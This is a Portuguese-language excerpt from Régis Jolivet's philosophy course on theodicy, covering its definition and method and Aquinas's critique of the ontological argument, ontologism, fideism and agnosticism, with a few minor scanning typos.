TEODICÉIA – Curso de Filosofia de Régis Jolivet

Curso de Filosofia – Régis Jolivet

TEODICÉIA

PRELIMINARES

198      1.    Natureza da Teodicéia.

a)         Definição nominal. A palavra Teodicéia vem de duas palavras
gregas que significam justificação de Deus, e era reservada
inicialmente às obras destinadas a defender a Providência contra as
dificuldades que se levantam com o problema da existência do mal.

b)         Definição real. Hoje, o nome Teodicéia tornou-se sinônimo de Teologia
natural,
e se aplica ao conjunto do tratado de Deus. É a ciência de Deus
pela razão.

c)         Teodicéia e Teologia. A Teodicéia é então uma ciência racional; quer
dizer que não recorre senão às luzes da razão natural. Difere por isto da
Teologia, que toma por primeiros princípios, não os princípios da razão, mas os
dados da Revelação.

2.    Importância da Teodicéia.

É quase desnecessário
assinalar a importância e a utilidade da Teodicéia. A excelência de uma ciência
está na razão da excelência de seu objeto. Ora, o pensamento não pode ter mais
alto objeto do que Deus,
Ser supremo, o princípio primeiro e fim derradeiro
de todas as coisas. É no conhecimento e no amor de Deus que reside nossa
perfeição e, por conseguinte, nossa verdadeira felicidade.

Por outro lado, nosso conhecimento
do mundo e do homem
jamais poderá ser completo, se não remontarmos a Deus
como a causa de tudo o que existe, e a Moral não poderá ter fundamento
sólido se não recorrermos a Deus, soberano Legislador.

Enfim, a Teodicéia,
demonstrando a existência de Deus, fornece à a primeira de suas
bases racionais.

3.   Método da Teodicéia.

Deus não é acessível aos sentidos. Por isso, a Teodicéia
não pode ser uma ciência propriamente experimental. Ela é, por excelência, uma ciência
metafísica,
na proporção em que seu objeto ultrapassa absolutamente a
experiência sensível, e deverá por conseguinte usar o método racional (43).
Mas como Deus só pode ser conhecido por nós através dos efeitos de seu poder, a
Teodicéia deverá partir da observação dos fatos, para elevar-se daí até
Deus. razão suprema destes fatos.

4.   Divisão da Teodicéia.

Podemos levantar, a respeito
de Deus, três tipos de questões: podemos perguntar-nos se ele existe, qual é a
sua natureza e quais são seus atributos, enfim, quais são as suas relações com
o mundo. Donde a seguinte divisão da Teodicéia: a existência de Deus, a natureza e os atributos de Deus, relações de Deus e do mundo.

 

PRIMEIRA PARTE

A EXISTÊNCIA DE DEUS

Antes de abordar as
provas da existência de Deus, é mister indagar se estas provas são
necessárias, e se são possíveis. Com efeito, de uma parte, os ontologistas sustentaram que era inútil demonstrar a existência de Deus, e, de outra
parte, os fideístas e os agnosticistas negaram que fosse possível
fazer esta demonstração. Devemos, então, começar por criticar estas duas
opiniões.

CAPÍTULO PRIMEIRO

NECESSIDADE   E   POSSIBILIDADE   DE  
UMA DEMONSTRAÇÃO

ART.   I.    O ONTOLOGISMO

199 1. O argumento
ontológico. — Os ontologistas sustentam que não é necessário demonstrar a
existência de Deus, porque, segundo eles, a existência de Deus é
imediatamente evidente,
e não se demonstra a evidência. Ela vale por si só.

Uns (Malebranche,
GiOBErti) afirmam que nós temos a intuição de Deus na do ser universal. Donde o nome de ontologismo dado especialmente a esta doutrina.

Outros (Santo Anselmo, Descartes) se limitam a sustentar que a existência
de Deus é evidente "a priori",
pelo simples fato de compreender o
que significa a palavra Deus. Com efeito, dizem eles, a palavra Deus significa
"o Ser que tem todas as perfeições". Ora, a existência é uma
perfeição (impossível pensar, sem cair no absurdo, num "Ser perfeito que
não existisse"!) Logo, Deus existe. Seria, então, impossível conceber Deus
sem apreender ao mesmo tempo sua existência. — É este argumento famoso que foi
chamado argumento ontológico.

2. Crítica do
argumento ontológico. — Santo Tomás critica
este argumento da seguinte maneira:

a)         Não é evidente para todos, mesmo entre os que admitem a existência de Deus, que Deus
seja o ser absolutamente perfeito,
e tal que se não possa conceber maior.
Muitos filósofos pagãos disseram que o mundo era Deus; certos povos consideram
como Deus o Sol ou a Lua.

b)          O sofisma ontológico. Mesmo supondo que a definição nominal de Deus seja
para todos (‘o ser absolutamente perfeito", o argumento ontológico constitui um verdadeiro sofisma, pois passa indevidamente da ordem
lógica para a ordem real:
eu não posso conceber um ser perfeito sem
o conceber como existente (ordem lógica), mas isto não prova que este
ser perfeito existe (ordem real).

c) O ontologismo é,
com mais forte razão, sofistico. Nós não vemos a Deus. Todo o nosso
saber vem, direta ou indiretamente, da experiência sensível, e Deus é e
permanece sempre para nós, mesmo ao final de nossas investigações e de nossas
demonstrações, um Dí) ::s
escondido,
de tal forma fica além de nossa apreensão direta e de nossa
compreensão natural.

Quanto à intuição do ser universal ou
inteligível, de que falamos em Psicologia (141), e em Crítica (177), ela não
ó de forma alguma a intuição de Deus
ou do Ser infinitamente perfeito, mas
a do ser em geral ou indeterminado.

A existência de Deus não nos é, portanto,
imediatamente evidente, e tem necessidade de ser demonstrada. Mas esta
demonstração será possível?

ART.    II.    O FIDEÍSMO E O AGNOSTICISMO

200 1. O argumento
fideísta e agnóstico. — Os fideístas sustentam que a existência de Deus não
pode ser conhecida pela razão natural, mas apenas pela fé.
Os agnósticos
negam igualmente o poder da razão e as luzes da fé.

O principal argumento de uns e outros é
que os princípios de nossas demonstrações vêm dos sentidos, porque toda a nossa
experiência é de origem sensível. Por conseguinte, tudo o que ultrapassa o
sensível é incognoscível
e indemonstrável pela razão, e a existência de
Deus, ultrapassando o sensível, ê, ao mesmo tempo, indemonstrável.

2.    Crítica do argumento fideísta,

a) Crítica geral. Santo Tomás nota de início que a opinião
fideísta e agnóstica injuria a razão natural,
que encontra sua expressão
mais perfeita na arte da demonstração, que, dos efeitos, se eleva ao
conhecimento das causas. — Ela quebra a ordem das ciências e compromete a
integridade do saber.
Pois, se não há ciência no que ultrapassa a
experiência sensível, é a ciência dos fenômenos da natureza que se torna a
ciência suprema, e o conjunto do saber humano fica sem explicação derradeira.
— Enfim, a opinião fideísta e agnóstica censura como vaidade o esforço constante
dos filósofos,
mesmo os maiores, para demonstrar a existência de Deus.
Seria inconcebível que este esforço procedesse de uma ilusão.

b) Crítica especial. Santo Tomás responde ao argumento
fideísta assinalando que em qualquer hipótese nosso conhecimento da existência
de Deus tem uma origem sensível, uma vez que toma por ponto de partida os
efeitos sensíveis do poder divino. Sob este aspecto, não nos pode conduzir a
conhecer Deus perfeitamente, pois não existe nenhuma proporção entre suas
obras sensíveis e sua natureza. Mas a demonstração tirada dos efeitos
sensíveis é suficiente para nos fazer conhecer a Deus, como causa destes efeitos,
o que é o próprio objeto da demonstração.

De resto, a melhor refutação
dos argumentos fideístas e agnósticos consiste em expor as provas da
existência de Deus de tal maneira que seu valor se imponha à inteligência e a
domine pela evidência do verdadeiro.

 

 

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